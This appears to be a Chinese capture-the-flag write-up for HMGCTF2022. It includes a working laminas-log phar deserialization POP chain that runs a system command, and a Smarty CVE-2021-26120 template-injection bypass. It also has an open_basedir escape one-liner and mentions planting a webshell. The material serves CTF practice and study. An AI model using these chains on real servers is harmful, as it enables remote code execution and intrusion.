HMGCTF2022 Writeup

Misc

Fan website

解压后使用010打开,搜索flag{

image-20220322113355156

Web

Fan website

通过www.zip获取源码

题目说了是Laminas写的,先找一手历史漏洞:Zend FrameWork Pop Chain - 先知社区 (aliyun.com),知道了漏洞组件为laminas/laminas-log:2.11,与composer.json版本匹配,可以直接利用链子打反序列化。

module\Album\src\Controller\AlbumController.php文件中寻找反序列化触发点,由于这里是做图片相关的处理,可以知道是用phar协议做反序列化触发。定位到的方法如下(利用 unlink 函数进行触发)

1
2
3
4
5
6
7
8
9
10
11
12
13
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}

接着看上传点,主要限制为:1.对个别关键字进行过滤;2.限制文件的大小(必须超过3kb)

第一点可以直接使用guoke师傅文章中的gzip filename进行绕过;第二点在构造对象时使用数组保存,带上一个很长的字符串就可以了。

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}

namespace{
$b = file_get_contents("exp.txt"); //此处exp.txt存储大量垃圾数据
$a = array("1"=>new \Laminas\Log\Logger(),"2"=>$b);
file_put_contents('.phar/.metadata',serialize($a));
}

生成后的.phar文件进行如下操作

1
2
tar -cf test.tar .phar/
gzip -1 test.phar #-1为了使文件大小尽量不被压缩

最后上传文件,然后在删除图片处用phar协议进行触发

Smarty_calculator

通过www.zip继续下载源代码,分析index.php文件知道在请求包的Cookie中需要带上login=x

image-20220322175353605

使用SSTI测试,发现版本是3.1.39,该版本存在CVE-2021-26120漏洞

尝试利用POC直接打,没有回显

题目中说了开发者自己修改了模板的规则,于是去官网下载了原始版本的源码,使用Beyond Compare工具进行比较

image-20220322175915389

这里在正则处加了(。*)

本地搭个环境进行Debug测试

image-20220322181053378

走到这个正则由于满足条件,会进去调用error函数导致不回显

先给出结果这里可以在var_dump("id");function后面添加%0A%20进行绕过

image-20220322183122478

个人理解:首先这里的有个$说明可以以任意一个字符(除了换行符),接着空格满足了(.*),但是.是不匹配换行符的,所以这里前面的[]中的没有可以匹配到,则整个字符串匹配失败

接着使用var_dump(ini_get_all())读取php配置发现存在disable_functionsopen_basedir,可以通过

1
chdir("img");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");var_dump(scandir("/"));

读取根目录文件名

发现html目录是可以写文件的,直接写一句话然后用蚁剑就可以了